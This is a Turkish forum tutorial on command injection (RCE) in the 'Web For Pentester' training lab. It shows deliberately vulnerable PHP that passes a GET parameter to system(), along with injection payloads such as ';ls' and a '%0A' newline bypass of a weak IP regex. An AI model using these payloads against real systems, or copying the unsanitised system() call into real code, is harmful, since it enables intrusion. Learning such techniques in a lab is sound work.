Merhaba ben saldırı timlerinden BUNJO, bu konuda "Remote Code Execution (RCE)" güvenlik açığını anlatmaya devam edeceğim.
Eski konu için tıklayınız...
Bu sefer "Web For Pentester" kullanacağım.
Web For Pentester İçin Tıkla...
Senaryo 1
Bu senaryoda hiçbir filtreleme işlemi yapılmadığı zaman izleyeceğimiz yolu ele alacağım.
Sireteye giriş yaptığımız zaman URL'de ping atmak için bizden bir değer alındığını görüyoruz.
Açık Neden Kaynaklanıyor?
İlgili örneğin kaynak kodu:
PHP:
PHP:
<?php require_once("../header.php"); ?>
<pre>
<?php
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>
Burada kullanıcıdan "GET" parametresi ile alınan IP değeri system() ile direkt sunucu üzerinde çalıştırılacak olan bir ping komutuna gönderilip, çalıştırılıyor.
Burada bu zafiyeti sömürme şeklimiz şu olacak:
PING çıktısına baktığımız zaman;
Rich (BB code):
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.037 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.016/0.026/0.037/0.011 ms
Bir "Linux" sistem olduğunu anlıyoruz. Linux sistemlerde tek satırda birden fazla komut çalıştırmamızı sağlayan operatörler var.
Bash:
ping -c 2 google.com; ls
Bu şekilde sunucuda istediğiniz kodu çalıştırabilirsiniz. Daha önce açtığım konuda shell almaya kadar anlattığım için tekrardan detaya girmiyorum.
Rich (BB code):
/commandexec/example1.php?ip=127.0.0.1;ls
Shell aldığımız konudan örnek:
Senaryo 2
Bu senaryoda sunucuda bulunan bir fitlreleme işlemi yapıldığında izleyeceğimiz yolun ne olduğunu göstereceğim.
Evet yine GET parametresine sunucuda çalıştırmak istediğim komutu yazıyorum.
Fakat bu sefer bir ip adresi kontrolünün yapıldığını anlıyorum.
Burada Açık Neyden Kaynaklanıyor?
PHP:
PHP:
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>
Kısacası kodu özetlersem; burada bir filtreleme olduğunu görüyoruz fakat burada filtreleme sadece bir satır için geçerli "%0A" ile alt satıra
inip istediğimiz kodu çalıştırmaya devam edebiliriz.
Normalde shell almayı ve başka ekstra şeyler de gösterecektim fakat birtakım olaylar sebebiyle konuyu burada sonlandırıyorum.
Herkes her konuda konuşup gösteriş yapmayı çok biliyor fakat iş icraate geldiğinde pek sahnede olamıyorlar.
Okuduğunuz için teşekkür ederim.
inip istediğimiz kodu çalıştırmaya devam edebiliriz.
Normalde shell almayı ve başka ekstra şeyler de gösterecektim fakat birtakım olaylar sebebiyle konuyu burada sonlandırıyorum.
Herkes her konuda konuşup gösteriş yapmayı çok biliyor fakat iş icraate geldiğinde pek sahnede olamıyorlar.
Okuduğunuz için teşekkür ederim.
Son düzenleme: